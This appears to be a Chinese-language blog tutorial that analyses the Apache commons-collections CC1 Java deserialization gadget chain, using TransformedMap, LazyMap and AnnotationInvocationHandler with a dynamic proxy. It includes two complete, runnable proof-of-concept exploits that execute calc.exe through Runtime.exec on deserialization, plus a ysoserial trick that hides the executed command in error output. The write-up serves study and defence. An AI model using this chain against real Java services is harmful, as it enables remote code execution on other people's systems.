Javaweb安全——反序列化漏洞- CC1链

Common-Collections利用链1

第一次接触反序列化漏洞时写的初识Java反序列化漏洞这篇文章当中已经分析过一遍Common-Collections的两条链子(分别用的TransformedMapLazyMap构造恶意对象反射链,AnnotationInvocationHandler(CC1)和BadAttributeValueExpException(CC5)调用transform())。这次从Common-Collections1开始再捋一遍,顺便自己写一遍exp加深印象。

本文环境为jdk1.7_80commons-collections-3.2.1.jar。下载jar包添加依赖或者maven项目idea直接添加依赖(推荐)

下面是ysoserial当中CC1的Gadget chain:

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()

//恶意对象反射链部分

​ InvokerTransformer.transform()
​ Method.invoke()
​ Class.getMethod()
​ InvokerTransformer.transform()
​ Method.invoke()
​ Runtime.getRuntime()
​ InvokerTransformer.transform()
​ Method.invoke()
​ Runtime.exec()

ysoserial用的是LazyMap进行构造,相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因在后面部分会解释。先把这个放到一边,从TransformedMap链开始搞清楚原理。

TransformedMap链

先看一个简单的demo

package ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        //这是两个链子当中相同的部分,用于串起命令执行调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]
                                {"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        //包装innerMap,回调TransformedMap.decorate
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //触发回调
        outerMap.put("test", "xxxx");
    }
}

其实把这几个函数是干嘛的搞明白就能看懂了,IDEA当中查看源码记得点一下下载源代码,直接反编译class的源码会有些许不同。

恶意对象反射链

Transformer

Transformer是一个接口,它只有一个待实现的transform方法:

public interface Transformer {
    public Object transform(Object input);
}
ConstantTransformer

ConstantTransformer是实现了Transformer接口的一个类,实例化类时通过构造函数传入一个对象,在调用其transform()方法将这个对象再返回,在执行回调时方便后续操作(传给InvokerTransformertransform方法)。

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
InvokerTransformer

InvokerTransformer也是实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
ChainedTransformer

ChainedTransformer也实现了Transformer接口,实例化时传入一Transformer数组,其transform方法将内部的多个Transformer串在一起。前一个回调返回的结果,作为后一个回调的参数传入。

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

到这基本整条命令执行的链子就串起来了(到demo代码中transformerChain的部分),下图截取自Java安全漫谈

image-20220523105748816

调试调用过程之前写过了,这里就不跟了。

demo当中其实就是对Runtime对象的exec方法进行了一个回调,还需要有东西去触发整条链子,即调用ChainedTransformertransform方法。

TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
................
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }
.............
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

使用方法如下:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后向Map中放入一个新的元素触发回调

outerMap.put("test", "xxxx");

AnnotationInvocationHandle

现在整个demo的逻辑就清晰了,但还不是一个真正能用的POC,还需要一个类readObject方法能够代替outerMap.put触发回调,即存在设置值的操作,即:

sun/reflect/annotation/AnnotationInvocationHandler.java

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

核心逻辑为Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...)

image-20220523162805761

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,开始整个链子的回调。
image-20221028091933959

image-20221028091944015

image-20221028091952317

注意在进入memberValue.setValue逻辑前有有两个条件需要满足

AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
....................

if (memberType != null) {  // i.e. member still exists

需满足:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

image-20220523202356384

//通过反射调用构造函数实例化
construct.newInstance(Retention.class, outerMap);
  1. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

    innerMap.put("value", "xxxx");
    

因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new,需反射来完成实例化

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

序列化Runtime

这时候还需要将前面的恶意反射链那的调用改成反射,不然会报错,Runtime类没有实现 java.io.Serializable 接口,不能序列化。

上面提到InvokerTransformer能调用类的方法,所以可以使用反射的形式去回调(因为Class类是实现了Serializable接口的)。

image-20220523164932891

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };

POC:

package ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        //包装innerMap,回调TransformedMap.decorate
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //触发回调
        //outerMap.put("test", "xxxx");
        //反射调用AnnotationInvocationHandle
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);
        //生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        //反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

image-20220523172519351

高版本限制(大于8u71)

在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,传进去的恶意Map不再执行set或put操作,便无法触发transform。

LazyMap链

现在开始步入真正的CommonCollections1利用链

LazyMap

先瞅一眼ysoserial的代码,发现用的是LazyMap

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {..........
            

    public static Map decorate(Map map,         Transformer factory) {
        return new LazyMap(map, factory);
    }
.................
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

decorate方法:

返回一个修饰后的Map,和TransformedMap.decorate的用法差不多。

get方法:

当这个Map调用get找不到值的时候,它会调用factory.transform方法去获取一个值(TransformedMap是在写入元素时调用put执行transform

使用方法如下:

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
        outerMap.get("xxx");

现在的问题变成了怎么去调用这个get方法,AnnotationInvocationHandler readObject方法中并没有直接调用到Map的get方法,但是其invoke方法有调用:

public Object invoke(Object proxy, Method method, Object[] args) {
    .....................
        // Handle annotation member accessors
        Object result = memberValues.get(member);

要想调用这个invoke就得用到Java动态对象代理

动态代理

之前写过Javaweb安全学习——Java动态代理,这里只要知道一点,在执行代理对象的任意方法时,实际都是去执行InvocationHandler对象的invoke方法。

sun.reflect.annotation.AnnotationInvocationHandler
是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法(如:readObject方法),就会进入到AnnotationInvocationHandler#invoke 方法,完成链子的启动。

        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
                Class[] {Map.class}, handler);

不过这时的proxyMap还不能直接序列化,因为入口点是
AnnotationInvocationHandler#readObject ,所以还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

POC:

package ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String args[]) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
                Class[] {Map.class}, handler);
        //用AnnotationInvocationHandler对proxyMap进行包裹
        handler = (InvocationHandler) construct.newInstance(Retention.class,
                proxyMap);
//生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        //反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

看到ysoserial的Transformer数组最后还有一个ConstantTransformer(1)

image-20220523231225461

这可以隐藏错误信息中的命令执行特征

image-20220523231610490image-20220523231744822

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值